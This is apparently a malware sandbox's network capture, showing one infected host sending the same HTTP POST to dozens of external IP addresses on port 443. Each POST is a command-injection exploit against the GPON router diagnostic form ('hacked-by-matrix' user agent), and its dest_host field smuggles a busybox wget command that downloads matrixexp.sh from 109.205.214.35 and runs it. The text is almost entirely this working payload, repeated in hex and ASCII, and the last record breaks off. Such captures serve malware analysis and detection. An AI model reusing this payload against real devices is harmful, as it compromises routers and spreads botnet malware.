Mar 21, 2024 05:16:56.534392118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	43280	5.191.81.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534442902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	50126	212.131.164.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534452915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	33348	210.240.90.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534478903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	54842	2.94.183.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534509897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	42458	118.144.236.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534550905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	53932	178.36.123.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534570932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	42844	118.148.19.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534590006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	42494	42.44.27.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534609079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	51554	109.152.247.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534653902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	34034	37.223.222.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534676075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	50718	109.23.97.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534693003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	39564	94.104.70.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534710884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	33692	5.183.18.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534759045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	58594	178.232.162.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534768105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	47280	2.242.196.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534811020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	33276	5.67.147.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534813881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	44082	212.213.251.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534847021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	40076	2.153.138.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534869909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	43472	2.194.27.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534893036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	38270	42.64.32.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534929037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	38524	118.15.89.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534953117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	40810	2.135.197.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534977913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	48752	37.109.239.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534984112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	57994	2.55.142.214	443

Timestamp	Bytes transferred	Direction	Data
